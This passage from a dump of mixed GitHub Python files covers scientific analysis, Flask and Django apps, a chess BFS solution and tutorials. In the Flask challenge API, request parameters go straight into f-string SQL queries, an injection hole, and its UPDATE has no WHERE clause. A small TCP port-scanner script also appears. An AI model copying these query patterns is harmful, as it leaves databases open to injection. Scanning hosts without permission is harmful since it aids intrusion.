'leaf_probs'].detach().cpu().numpy()\n\n save_array_feats = np.concatenate(\n [input.y_train.detach().cpu().numpy()[:, np.newaxis], feats_model_soft, feats_model_hard, feats_dafi], axis=1)\n\n header = 'Label,Soft Features Model, Hard Features Model, Hard Features DAFI'\n\n np.savetxt('../output/%s/feats_model_hard_and_soft_IS.csv' % OOS_hparams['experiment_name'], save_array_feats,\n delimiter=',', header=header)\n\n\ndef save_feats_panel1_OOS(OOS_hparams, model_path, dafi_path):\n with open(model_path, 'rb') as f:\n model = pickle.load(f)\n with open(dafi_path, 'rb') as f:\n dafi = pickle.load(f)\n if torch.cuda.is_available():\n model.cuda(OOS_hparams['device'])\n dafi.cuda(OOS_hparams['device'])\n\n input = Cll8d1pInput(OOS_hparams)\n # y_train and x_train are all the in sample data for this hparams setting\n feats_model_soft = model.forward_4chain(input.x_eval, input.y_eval)['leaf_probs'].detach().cpu().numpy()\n feats_model_hard = model.forward_4chain(input.x_eval, input.y_eval, use_hard_proportions=True)[\n 'leaf_probs'].detach().cpu().numpy()\n feats_dafi = dafi.forward_4chain(input.x_eval, input.y_eval, use_hard_proportions=True)[\n 'leaf_probs'].detach().cpu().numpy()\n\n save_array_feats = np.concatenate(\n [input.y_eval.detach().cpu().numpy()[:, np.newaxis], feats_model_soft, feats_model_hard, feats_dafi], axis=1)\n\n header = 'Label,Soft Features Model, Hard Features Model, Hard Features DAFI'\n\n np.savetxt('../output/%s/feats_model_hard_and_soft_OOS.csv' % OOS_hparams['experiment_name'], save_array_feats,\n delimiter=',', header=header)\n\n\ndef save_feats_both_all_data(OOS_hparams, model_both_checkpoints_path, dafi_both_path):\n with open(model_both_checkpoints_path, 'rb') as f:\n model_checkpoints_both = pickle.load(f)\n\n model_both = model_checkpoints_both[hparams['n_epoch']]\n\n with open(dafi_both_path, 'rb') as f:\n dafi_both = pickle.load(f)\n if torch.cuda.is_available():\n model_both.cuda(OOS_hparams['device'])\n dafi_both.cuda(OOS_hparams['device'])\n\n input = CllBothPanelsInput(OOS_hparams)\n # y_train and x_train are all the in sample data for this hparams setting\n feats_model = model_both(input.x_train, input.y_train, device=OOS_hparams['device'])[\n 'leaf_probs'].detach().cpu().numpy()\n print(model_both.linear.weight, model_both.linear.bias)\n print('dafi weights for logistic regressor')\n print(dafi_both.linear.weight, dafi_both.linear.bias)\n feats_dafi = dafi_both(input.x_train, input.y_train, use_hard_proportions=True, device=OOS_hparams['device'])[\n 'leaf_probs'].detach().cpu().numpy()\n\n feats_model_with_labels = np.concatenate([input.y_train.detach().cpu().numpy()[:, np.newaxis], feats_model], axis=1)\n feats_dafi_with_labels = np.concatenate(\n [input.y_train.detach().cpu().numpy()[:, np.newaxis], np.squeeze(feats_dafi)], axis=1)\n np.savetxt('../output/%s/feats_model.csv' % OOS_hparams['experiment_name'], feats_model_with_labels, delimiter=',',\n header='Label, Panel1, Panel2, Panel2')\n np.savetxt('../output/%s/feats_dafi.csv' % OOS_hparams['experiment_name'], feats_dafi_with_labels, delimiter=',',\n header='Label, Panel1, Panel2, Panel2')\n\n\ndef save_correct_dafi_hard_thresh_accs_regular_CV(CV_hparams):\n SEEDS = np.concatenate([np.arange(73, 74), np.arange(29) + 1, np.arange(51, 72)], axis=0)\n RESULTS_DIR_PREFIX = '../output/CV_neg=0.001_diff=0.001'\n # will save seed, and accuracy for model/dafi\n te_accs_per_seeds = -1 * np.ones([SEEDS.shape[0], 2])\n for s, seed in enumerate(SEEDS):\n input = Cll8d1pInput(hparams, random_state=seed)\n seed_results_dir = RESULTS_DIR_PREFIX + '_seed%d' % seed\n # path_to_model_chekpoints = seed_results_dir + '/model_checkpoints.pkl'\n # path_to_dafi_model = seed_results_dir + '/dafi_model.pkl'\n dafi_path = seed_results_dir + '/dafi_model.pkl'\n with open(dafi_path, 'rb') as f:\n dafi_model = pickle.load(f)\n dafi_model.cuda(0)\n feats_dafi = dafi_model.forward_4chain(input.x_eval, input.y_eval, use_hard_proportions=True, device=0)[\n 'leaf_probs'].detach().cpu().numpy()\n feats_dafi_p1 = feats_dafi\n preds = feats_dafi_p1 > 0.0001\n acc_updated_thresh_dafi = np.sum(\n np.array([preds[i] == y.cpu().detach().numpy() for i, y in enumerate(input.y_eval)])) / preds.shape[0]\n\n te_accs_per_seeds[s] = [seed, acc_updated_thresh_dafi]\n\n header = 'seed, dafi te acc threshold at 0.0001'\n savepath = RESULTS_DIR_PREFIX + '/accs_updated_thresh=0.0001_dafi.csv'\n np.savetxt(savepath, te_accs_per_seeds, header=header, fmt='%.4f', delimiter=',')\n\n\ndef avg_both_CV_te_results():\n SEEDS = np.concatenate([np.arange(73, 74), np.arange(29) + 1, np.arange(51, 72)], axis=0)\n RESULTS_DIR_PREFIX = '../output/Both_Panels_CV_neg=0.001_diff=0.001'\n # will save seed, and accuracy for model/dafi\n te_accs_per_seeds = -1 * np.ones([SEEDS.shape[0], 3])\n for s, seed in enumerate(SEEDS):\n seed_results_dir = RESULTS_DIR_PREFIX + '_seed%d' % seed\n # path_to_model_chekpoints = seed_results_dir + '/model_checkpoints.pkl'\n # path_to_dafi_model = seed_results_dir + '/dafi_model.pkl'\n eval_tracker_m_path = seed_results_dir + '/tracker_eval_m.pkl'\n eval_tracker_d_path = seed_results_dir + '/tracker_eval_d.pkl'\n with open(eval_tracker_m_path, 'rb') as f:\n eval_tracker_m = pickle.load(f)\n\n with open(eval_tracker_d_path, 'rb') as f:\n eval_tracker_d = pickle.load(f)\n\n te_accs_per_seeds[s] = [seed, eval_tracker_m.acc[-1], eval_tracker_d.acc[-1]]\n\n variances = (np.var(te_accs_per_seeds, axis=0) ** (1 / 2))\n print('variance: model %.4f, dafi %.4f' % (variances[1], variances[2]))\n print('Avg model both te acc: %.4f' % (np.mean(te_accs_per_seeds, axis=0)[1]))\n print('Avg Dafi both te acc: %.4f' % (np.mean(te_accs_per_seeds, axis=0)[2]))\n header = 'seed, model te acc, dafi te acc logreg'\n savepath = RESULTS_DIR_PREFIX + '/accs_both.csv'\n np.savetxt(savepath, te_accs_per_seeds, header=header, fmt='%.4f', delimiter=',')\n\n\nif __name__ == '__main__':\n # yaml_filename = '../configs/OOS_both_panels.yaml' #for both panels\n yaml_filename = '../configs/OOS_Final_Model.yaml'\n hparams = default_hparams\n with open(yaml_filename, \"r\") as f_in:\n yaml_params = yaml.safe_load(f_in)\n hparams.update(yaml_params)\n\n ## For single panel feat generation trained on all 102\n # Note I accidentally mislabelled the save results with CV in the front\n model_path = '../output/CV_neg=0.001_diff=0.001_FINAL_OOS_seed0/model.pkl'\n dafi_path = '../output/CV_neg=0.001_diff=0.001_FINAL_OOS_seed0/dafi_model.pkl'\n save_feats_panel1_OOS(hparams, model_path, dafi_path)\n save_feats_panel1_in_sample(hparams, model_path, dafi_path)\n\n ## for both panels feat generation\n # OOS_model_both_checkpoint_path = '../output/OOS_both_panels_seed0/model_checkpoints.pkl'\n # OOS_dafi_both_path = '../output/OOS_both_panels_seed0/dafi_model.pkl'\n # save_feats_both_all_data(hparams, OOS_model_both_checkpoint_path, OOS_dafi_both_path)\n\n # combine_results_into_one_csv('../output/logreg_to_conv_grid_search', '../output/agg_results_logreg_to_conv_gs1', '../data/cll/y_dev_4d_1p.pkl')\n # combine_results_into_one_csv('../output/logreg_to_conv_grid_search', '../output/agg_results_logreg_to_conv_gs2', '../data/cll/y_dev_4d_1p.pkl', corner_reg_grid=[0.001, 0.050], gate_size_reg_grid=[0.25, 0.5], decimal_points_in_dir_name=3)\n # combine_results_into_one_csv('../output/two_phase_logreg_to_conv_grid_search_gate_size=', '../output/agg_results_two_phase', '../data/cll/y_dev_4d_1p.pkl', corner_reg_grid=[0.00], gate_size_reg_grid= [0., 0.25, 0.5, 0.75, 1., 1.25, 1.5, 1.75, 2.])\n path_to_hparams = '../configs/baseline_plot.yaml'\n savepath = '../data/cll/8d_FINAL/x_all.csv'\n # make_and_write_concatenated_8d_data_with_dafi_gate_flags_and_ids(path_to_hparams, savepath)\n # write_ranked_features_model_dafi(path_to_hparams)\n\n # avg_both_CV_te_results()\n\n # Get dafi accs with updated threshold\n## yaml_filename = '../configs/CV_runs.yaml'\n# hparams = default_hparams\n# with open(yaml_filename, \"r\") as f_in:\n# yaml_params = yaml.safe_load(f_in)\n# hparams.update(yaml_params)\n# save_correct_dafi_hard_thresh_accs_regular_CV(hparams)\n\n\n# dataname = 'cll_4d_1p'\n# for method_name in model_dict:\n# figname = '../output/%s/comparison.pdf' % (dataname + '_' + method_name)\n# f, axarr = plt.subplots(1, len(metric_dict), figsize=(10, 2))\n# for i, metric_name in enumerate(metric_dict):\n# axarr[i] = scatter_vs_dafi_feature(dataname, method_name, metric_name, axarr[i])\n# axarr[i].set_xlabel('Model gates')\n# axarr[0].set_ylabel('Expert gates')\n# f.savefig(figname, bbox_inches='tight')\n\n\n# for i in range(len(model_dict)):\n# for j in range(i + 1, len(model_dict)):\n# for metric_name in metric_dict:\n# scatter_methods(dataname, model_dict[i], model_dict[j], metric_name)\n","repo_name":"disiji/fc_differentiable","sub_path":"src/result_analysis.py","file_name":"result_analysis.py","file_ext":"py","file_size_in_byte":32477,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"71536025764","text":"import matplotlib.pylab as plt\nimport numpy as np\nfrom astropy.io import fits as pf\n\n\ndef ifscube_slicer(cube):\n pars = pf.getdata(cube, \"PARNAMES\")\n print(f\"Parnames: {len(pars)}\")\n print(pars)\n solution = pf.getdata(cube, \"SOLUTION\")\n flux = pf.getdata(cube, \"FLUX_M\")\n eqw = pf.getdata(cube, \"EQW_M\")\n\n i = 0 # indice do solution\n j = 0 # indice do flux e do eqw\n #\n # PARA O PLOT - Tu pode remover tudo isso, mas eh para poder conferir se o que esta sendo salvo esta certo.\n plots = int(len(pars) / 3) # para controlar os plots\n k = 1 # contador dos plots\n plt.figure(figsize=(50, 50)) # Fazendo uma figura bem grande (pode dar zoom)\n\n map_names = []\n for p in pars:\n p = np.asarray(p)\n if p[1] == \"A\":\n save_name_flux = \"Flux_\" + p[0] # nome para salvar o mapa de fluxo (usei no label do plot)\n save_flux = flux[j] # array (44,44) com os valores do mapa de flux a serem salvos\n plt.subplot(plots, 4, k)\n k = k + 1\n plt.imshow(\n save_flux, origin=\"lower\"\n ) # plot para tu poder conferir (note o origim do matplotlib que precisa ser lower para o 0,0 ser no canto inferior esquerdo)\n plt.gca().set_title(save_name_flux) # titulo do plot\n plt.colorbar() # barra de cores\n\n map_names.append(save_name_flux)\n\n save_name_ew = \"Ew_\" + p[0] # nome para salvar o mapa de eqw (usei no label do plot)\n save_ew = -1 * eqw[j] # array (44,44) com os valores do mapa de ew a serem salvos\n plt.subplot(\n plots, 4, k\n ) # NOTA: O EW precisa ser multiplicado por -1 para inverter o sinal (nao pode usar abs)\n k = k + 1\n plt.imshow(\n save_ew, origin=\"lower\"\n ) # plot para tu poder conferir (note o origim do matplotlib que precisa ser lower para o 0,0 ser no canto inferior esquerdo)\n plt.gca().set_title(save_name_ew) # titulo do plot\n plt.colorbar() # barra de cores\n\n map_names.append(save_name_ew)\n j = j + 1 # contador de indice de flux e eqw\n\n elif p[1] == \"v\":\n save_name_vel = \"Vel_\" + p[0] # nome para salvar o mapa de velocidades (usei no label do plot)\n save_vel = solution[i] # array (44,44) com os valores do mapa de velocidade a serem salvos\n\n plt.subplot(plots, 4, k)\n k = k + 1\n plt.imshow(\n save_vel, origin=\"lower\"\n ) # plot para tu poder conferir (note o origim do matplotlib que precisa ser lower para o 0,0 ser no canto inferior esquerdo)\n plt.gca().set_title(save_name_vel) # titulo do plot\n plt.colorbar() # barra de cores\n\n map_names.append(save_name_vel)\n\n elif p[1] == \"s\":\n save_name_sig = \"Sigma_\" + p[0] # nome para salvar o mapa de sigma (usei no label do plot)\n save_sig = solution[i] # array (44,44) com os valores do mapa de sigma a serem salvos\n plt.subplot(plots, 4, k)\n k = k + 1\n plt.imshow(\n save_sig, origin=\"lower\"\n ) # plot para tu poder conferir (note o origim do matplotlib que precisa ser lower para o 0,0 ser no canto inferior esquerdo)\n plt.gca().set_title(save_name_sig) # titulo do plot\n plt.colorbar() # barra de cores\n\n map_names.append(save_name_sig)\n\n i = i + 1 # contador para o solution (note que eu pulo o A ao salvar por que salvo o Flux e EW no lugar)\n plt.tight_layout() # deixando o plot mais elegante...\n plt.savefig(\"teste.png\")\n print(f\"Plots: {k}\")\n print(f\"Names: {map_names} [{len(map_names)}]\")\n\n\ncube = \"images/manga-9894-3701-MEGACUBE.fits\" # lista de cubos, pode usar num for...\n\nifscube_slicer(cube)\n","repo_name":"linea-it/manga","sub_path":"backend/ifscube_slicer.py","file_name":"ifscube_slicer.py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35335462090","text":"from flask import Blueprint, jsonify, request\nfrom models import returnDBConnection, authenticate_token\n\nfrom dotenv import load_dotenv\nimport os\n\nload_dotenv()\n\nchallenge_bp = Blueprint('challenge_bp', __name__)\n\n@challenge_bp.route(\"/request_music_notation_data\")\ndef request_music_notation_data():\n\tif not authenticate_token(request.headers):\n\t\treturn \"Invalid API key\", 403\n\n\tconn, cur = returnDBConnection()\n\n\tcourseID = request.args.get(\"courseID\")\n\tchallengeID = request.args.get(\"challengeID\")\n\n\tcur.execute(f\"SELECT musicData, svgIndexes, challengeTitle, challengeMessage, challengeSvgURL FROM challenges WHERE courseID = '{courseID}' AND challengeID = '{challengeID}'\")\n\tmusic_notation_data = cur.fetchone()\n\n\tconn.close()\n\n\treturn jsonify(music_notation_data)\n\n@challenge_bp.route(\"/get_next_challengeID\")\ndef get_next_challenge_id():\n\tif not authenticate_token(request.headers):\n\t\treturn \"Invalid API key\", 403\n\n\tconn, cur = returnDBConnection()\n\n\tuserID = request.args.get(\"userID\")\n\tcourseID = request.args.get(\"courseID\")\n\tchallengeID = request.args.get(\"challengeID\")\n\n\tcur.execute(f\"SELECT lastChallengeCompleted FROM coursesEnrolled WHERE userID='{userID}' AND courseID='{courseID}'\")\n\tlastChallengeCompleted = cur.fetchone()[0]\n\n\tif challengeID != None:\n\t\tlastChallengeCompleted += 1\n\t\tcur.execute(f\"UPDATE coursesEnrolled SET lastChallengeCompleted = {lastChallengeCompleted}\")\n\t\tconn.commit()\n\n\tcur.execute(f\"SELECT challengeID FROM challenges WHERE courseID = '{courseID}' AND challengeNo={lastChallengeCompleted+1}\")\n\tnextChallengeID = cur.fetchone()\n\n\tconn.close()\n\n\tif nextChallengeID == None:\n\t\treturn jsonify(\"Finished\")\n\n\treturn jsonify(nextChallengeID[0])\n\n@challenge_bp.route(\"/request_midi_notes_to_drum_name\")\ndef request_midi_notes_to_drum_name():\n\tif not authenticate_token(request.headers):\n\t\treturn \"Invalid API key\", 403\n\n\tmidiNotesToDrumName = {\n\t\t35: \"bass-drum\",\n\t\t36: \"bass-drum\",\n\t\t37: \"side-stick\",\n\t\t38: \"snare\",\n\t\t40: \"snare\",\n\t\t41: \"floor-tom\",\n\t\t42: \"closed hi-hat\",\n\t\t43: \"floor-tom\",\n\t\t44: \"pedal hi-hat\",\n\t\t45: \"mid-tom\",\n\t\t46: \"open hi-hat\",\n\t\t47: \"high-tom\",\n\t\t49: \"crash\",\n\t\t51: \"ride\",\n\t\t53: \"ride-bell\",\n\t\t57: \"crash\"\n\t}\n\n\treturn jsonify(midiNotesToDrumName)","repo_name":"davidliebs/DrumProject","sub_path":"api/challenge/challenge.py","file_name":"challenge.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28733943754","text":"import importlib\n\nimport pytorch_lightning as pl\nimport torch.utils.data\nimport wandb\n\nfrom utils.loss import VGGPerceptualLoss\nfrom visualization import *\n\n\nclass Model(pl.LightningModule):\n def __init__(self, **kwargs):\n super().__init__()\n self.save_hyperparameters()\n self.encoder = importlib.import_module('models.' + self.hparams.encoder).Encoder(self.hparams)\n self.decoder = importlib.import_module('models.' + self.hparams.decoder).Decoder(self.hparams)\n self.batch_size = self.hparams.batch_size\n self.test_func = importlib.import_module('datasets.' + self.hparams.dataset).test_epoch_end\n\n self.vgg_loss = VGGPerceptualLoss()\n\n def forward(self, x):\n return self.encoder(x)\n\n def training_step(self, batch, batch_idx):\n self.vgg_loss.eval()\n out_batch = self.decoder(self.encoder(batch))\n\n perceptual_loss = self.vgg_loss(out_batch['img'], batch['img'])\n\n self.log(\"perceptual_loss\", perceptual_loss)\n self.log(\"alpha\", self.decoder.alpha.detach().cpu())\n return perceptual_loss\n\n def validation_step(self, batch, batch_idx):\n return batch\n\n def validation_epoch_end(self, outputs):\n self.log(\"val_loss\", -self.global_step)\n imgs = denormalize(outputs[0]['img']).cpu()\n recon_batch = self.decoder(self.encoder(outputs[0]))\n scaled_kp = recon_batch['keypoints'] * self.hparams.image_size / 2 + self.hparams.image_size / 2\n\n heatmap = recon_batch['heatmap'].cpu()\n heatmap_overlaid = torch.cat([heatmap] * 3, dim=1) / heatmap.max()\n heatmap_overlaid = torch.clamp(heatmap_overlaid + imgs * 0.5, min=0, max=1)\n\n self.logger.experiment.log({'generated': [wandb.Image(draw_img_grid(denormalize(outputs[0]['img']).cpu()), caption='original_image'),\n wandb.Image(draw_img_grid(denormalize(recon_batch['img']).cpu()), caption='reconstructed'),\n wandb.Image(draw_img_grid(heatmap_overlaid.cpu()), caption='heatmap_overlaid'),\n wandb.Image(draw_kp_grid_unnorm(recon_batch['heatmap'], scaled_kp), caption='heatmap'),\n wandb.Image(wandb.Image(draw_kp_grid(imgs, scaled_kp)), caption='keypoints'),\n wandb.Image(draw_matrix(recon_batch['skeleton_scalar_matrix'].detach().cpu().numpy()), caption='skeleton_scalar')]})\n\n def test_step(self, batch, batch_idx, dataloader_idx=0):\n kp = self.encoder(batch)['keypoints']\n out_batch = batch.copy()\n out_batch['det_keypoints'] = kp\n return out_batch\n\n def test_epoch_end(self, outputs):\n outputs = self.test_func(outputs)\n self.print(\"test_loss\", outputs['val_loss'])\n self.log(\"test_loss\", outputs['val_loss'])\n\n def configure_optimizers(self):\n optimizer = torch.optim.AdamW(self.parameters(), lr=self.hparams.lr, weight_decay=1e-3)\n return optimizer\n","repo_name":"ck624/AutoLink-Self-supervised-Learning-of-Human-Skeletons-and-Object-Outlines-by-Linking-Keypoints","sub_path":"models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"3630834170","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import deque\n\n\n# Complete the knightlOnAChessboard function below.\ndef try_next(i, j, visited, q, n):\n if i == n - 1 and j == n - 1:\n return True\n # check if outbounded\n if i < 0 or j < 0 or i >= n or j >= n:\n # don't do anything\n return False\n if visited[i][j]:\n return False\n\n visited[i][j] = True\n q.append((i, j))\n return False\n\n\ndef get_count(i, j):\n ret = -1\n # Use Dijkstra algorithm.\n visited = [[False] * n for _ in range(n)]\n step_count = -1\n # put (0,0) into the deque\n q = deque([(0, 0)])\n done = False\n while len(q) > 0:\n sz = len(q)\n step_count += 1\n for _ in range(sz):\n start = q.popleft()\n visited[start[0]][start[1]] = True\n # try all 8 different moves\n # +i, +j\n done = try_next(start[0] + i, start[1] + j, visited, q, n)\n # +i, -j\n done = done or try_next(start[0] + i, start[1] - j, visited, q, n)\n # -i, + j\n done = done or try_next(start[0] - i, start[1] + j, visited, q, n)\n # -i, -j\n done = done or try_next(start[0] - i, start[1] - j, visited, q, n)\n # +j, +i\n done = done or try_next(start[0] + j, start[1] + i, visited, q, n)\n # +j, -i\n done = done or try_next(start[0] + j, start[1] - i, visited, q, n)\n # -j, + i\n done = done or try_next(start[0] - j, start[1] + i, visited, q, n)\n # -j, -i\n done = done or try_next(start[0] - j, start[1] - i, visited, q, n)\n\n if done:\n break\n\n if done:\n break\n\n ret = step_count + 1 if done else -1\n return ret\n\n\ndef knightlOnAChessboard(n):\n counts = [[0] * (n - 1) for _ in range(n - 1)]\n for i in range(1, n):\n for j in range(1, i):\n counts[i - 1][j - 1] = counts[j - 1][i - 1]\n\n for j in range(i, n):\n counts[i - 1][j - 1] = get_count(i, j)\n\n return counts\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n result = knightlOnAChessboard(n)\n\n fptr.write('\\n'.join([' '.join(map(str, x)) for x in result]))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"encgoo/hackerrank","sub_path":"Search/knightl_on_a_chessboard.py","file_name":"knightl_on_a_chessboard.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39847799716","text":"from django.test import TestCase\nfrom .models import AlumPost\n\n\nclass TestUserTypesModel(TestCase):\n\n def test_create_alumni_post(self):\n alum_post = AlumPost(title='Alumni Test', content='Some test content.')\n alum_post.save()\n self.assertEqual(alum_post.title, \"Alumni Test\")\n self.assertEqual(alum_post.content, \"Some test content.\")\n self.assertFalse(alum_post.image)\n","repo_name":"hschafer2017/PCSwimming","sub_path":"alumni/tests_models.py","file_name":"tests_models.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"44461184686","text":"numeros = [1, 2, 3, 4, 5]\nprint(numeros)\n\nnovos_numeros = []\nfor numero in numeros:\n novos_numeros.append(numero * 4)\nprint(novos_numeros)\n\n# List Comprehension\nnovos_numeros = [numero / 2 for numero in novos_numeros]\nprint(novos_numeros)\n\n# Condicionais\nnovos_numeros = [\n numero\n if numero != 3 else 30\n for numero in numeros\n if numero % 2 != 0\n]\nprint(novos_numeros)\n\n# string\nstring = 'Otávio Miranda'\nnova_string = [letra for letra in string]\nprint(nova_string)\n\nnumero_letras = 1\nnova_string = '.'.join([\n string[indice:indice + numero_letras]\n for indice in range(0, len(string), numero_letras)\n])\nprint(nova_string)\n\nnomes = ['luiz', 'MARIA', 'Helena', 'Joana']\nnovos_nomes = [\n nome.lower().title()\n for nome in nomes\n]\nprint(novos_nomes)\n\nnovos_nomes = [\n f'{nome[:-1].lower()}{nome[-1].upper()}'\n for nome in nomes\n]\nprint(novos_nomes)\n\nnumeros = [(numero, numero ** 2) for numero in range(10)]\nprint(numeros)\n# FLAT\nflat = [y for x in numeros for y in x] \nprint(flat)\n","repo_name":"cesar-augusto-costa/Python_Avancado_Udemy","sub_path":"Python_Avancado_Udemy/Projeto/aula085cadd.py","file_name":"aula085cadd.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9042640641","text":"\n\nfrom django.views.generic import FormView, TemplateView\nfrom .forms import SignModelForm\nfrom django.urls import reverse_lazy\nfrom .models import Sign\nfrom datetime import datetime\n\n\nclass SignFormView(FormView):\n template_name = 'index.html'\n form_class = SignModelForm\n success_url = reverse_lazy('index')\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.db = Sign.objects.all()\n self.each_sign_first_month_days = (\n range(22, 32), range(21, 32), range(19, 32), range(21, 32), range(21, 32), range(21, 32),\n range(21, 32), range(23, 32), range(23, 32), range(23, 32), range(23, 32), range(22, 32)\n )\n\n self.each_sign_second_month_days = (\n range(1, 21), range(1, 19), range(1, 21), range(1, 21), range(1, 21), range(1, 21),\n range(1, 23), range(1, 23), range(1, 23), range(1, 23), range(1, 22), range(1, 22)\n )\n\n self.each_sign_first_month = (12, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11)\n\n self.each_sign_second_month = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)\n\n self.signs: tuple = (\n 'Capricórnio', 'Aquário', 'Peixes', 'Aries', 'Touro', 'Gêmeos',\n 'Câncer', 'Leão', 'Virgem', 'Libra', 'Escorpião', 'Sagitário'\n )\n\n if len(self.db) != 0:\n self.the_input = self.get_last_object_data()\n self.last_input_array = self.last_object_split_data()\n self.birthday_datetime = self.generate_birthday_datatime()\n self.person_age_in_days = self.calculate_lifetime()\n self.person_sign = self.find_sign()\n else:\n self.the_input = '01/01/2000'\n self.last_input_array = {'day': 1, 'month': 1, 'year': 2000}\n self.birthday_datetime = self.generate_birthday_datatime()\n self.person_age_in_days = self.calculate_lifetime()\n self.person_sign = self.find_sign()\n\n # print(dir(Sign.objects.get(birthday='16/07/1992').birthday))\n\n def form_valid(self, form):\n form.save()\n return super(SignFormView, self).form_valid(form)\n\n def form_invalid(self, form):\n return super(SignFormView, self).form_invalid(form)\n\n def get_last_object_data(self) -> str:\n db_size = len(self.db) - 1\n last_object_from_db = None\n\n for index, object_ in enumerate(self.db):\n # Se chegar no último índice do banco, pegar o atributo deste objeto neste índice\n if index == db_size:\n last_object_from_db = self.db[index].birthday\n\n # ANTES: .get(birthday=last_object_from_db).birthday (gera erro se há múltiplos objetos [repetidos])\n # SOLUÇÃO: trocar por \"filter\" e pegar o primeiro registro repitido encontrado\n last_input = Sign.objects.filter(birthday=last_object_from_db)[0].birthday\n return last_input\n\n def last_object_split_data(self) -> dict:\n last_object_array = [int(number) for number in self.the_input.split('/')]\n return {\n 'day': last_object_array[0],\n 'month': last_object_array[1],\n 'year': last_object_array[2]\n }\n\n def generate_birthday_datatime(self):\n\n # Coletar o dado de data do aniversário p/ ser subtraído pela data de hoje na função \"calculate_lifetime\"\n the_birthday = datetime(\n day=self.last_input_array['day'],\n month=self.last_input_array['month'],\n year=self.last_input_array['year'])\n\n return the_birthday\n\n def calculate_lifetime(self):\n\n # P/ o cálculo, é preciso a data atual p/ subtrair com a data no aniversário do usuário\n right_now = datetime.today()\n today_datetime = datetime(year=right_now.year, month=right_now.month, day=right_now.day)\n\n # Subtração das datas p/ saber o tempo de vida do usuário\n person_existance = today_datetime - self.birthday_datetime\n\n # Formatar dados do cálculo p/ adquirir o dado numérico\n person_existance = f'{str(person_existance).split()[0]} dias'\n\n return person_existance\n\n def find_sign(self):\n\n # O signo é encontrado pela satisfação de 2 das 4 condições\n # O signo é achado caso: 2 primeiras condições satisfeitas, ou as 2 últimas\n for index in range(len(self.signs)):\n\n if self.last_input_array['day'] in tuple(self.each_sign_first_month_days)[index] \\\n and self.last_input_array['month'] == tuple(self.each_sign_first_month)[index] \\\n or self.last_input_array['day'] in tuple(self.each_sign_second_month_days)[index] \\\n and self.last_input_array['month'] == tuple(self.each_sign_second_month)[index]:\n\n return self.signs[index]\n\n def get_context_data(self, **kwargs):\n context = super(SignFormView, self).get_context_data(**kwargs)\n context['db'] = self.db\n context['birthday'] = self.the_input\n context['age_in_days'] = self.person_age_in_days\n context['person_sign'] = self.person_sign\n return context\n\n\nclass SampleView(TemplateView):\n template_name = 'sample.html'\n","repo_name":"lucas1farias/django_sign_identifier_app","sub_path":"sign_identifier_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18795458914","text":"import socket\nimport sys\n\ndef scan(host, timer):\n if len(sys.argv) > 4:\n ports = range(int(sys.argv[2]), int(sys.argv[3]))\n t = sys.argv[4]\n\n if t == \"t1\":\n timer = 0.1\n elif t == \"t2\":\n timer = 0.4\n elif t == \"t3\":\n timer = 0.7\n elif t == \"t4\":\n timer = 1\n else:\n timer = 2\n\n elif len(sys.argv) > 3:\n ports = range(int(sys.argv[2]), int(sys.argv[3]))\n\n else:\n ports = range(1, 3307)\n\n\n print(\" PORTA | STATUS\")\n\n for porta in ports:\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.settimeout(timer)\n\n code = client.connect_ex((host, porta))\n\n if code == 0:\n print(f' {porta}/tcp | OPEN')\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) >= 2:\n host = sys.argv[1]\n ports = 0\n timer = 1\n scan(host, timer)\n else:\n print(\"Usage: python3 host\")\n print(\"or\")\n print(\"Usage: python3 host starting_port end_port timer\")\n","repo_name":"mcavalcan7i/port-scan","sub_path":"port_scan.py","file_name":"port_scan.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24694685403","text":"__author__ = \"Vanessa Sochat\"\n__copyright__ = \"Copyright 2022, Vanessa Sochat\"\n__license__ = \"MPL 2.0\"\n\n\nclass WrapperTransformer:\n def __init__(self, width, indent=2):\n self._width = width\n self._indent = indent\n\n def __call__(self, s):\n res = []\n for line in s.splitlines():\n if len(line) > self._width and \" \" in line:\n idx = 0\n while line[idx] == \" \":\n idx += 1\n line, rest = line.rsplit(\" \", 1)\n res.append(line)\n res.append(\" \" * (idx + self._indent) + rest)\n continue\n res.append(line)\n return \"\\n\".join(res) + \"\\n\"\n","repo_name":"vsoch/action-updater","sub_path":"action_updater/utils/custom_yaml.py","file_name":"custom_yaml.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"4130905081","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport argparse\nimport numpy as np\nimport ROOT\nROOT.PyConfig.IgnoreCommandLineOptions = True\nROOT.gROOT.SetBatch(True)\n\ndef _RooAbsCollection__iter__(self):\n it = self.iterator()\n obj = it.Next()\n while obj != None:\n yield obj\n obj = it.Next()\n\nROOT.RooAbsCollection.__iter__ = _RooAbsCollection__iter__\n\n# because RooAbsCollection uses operator= 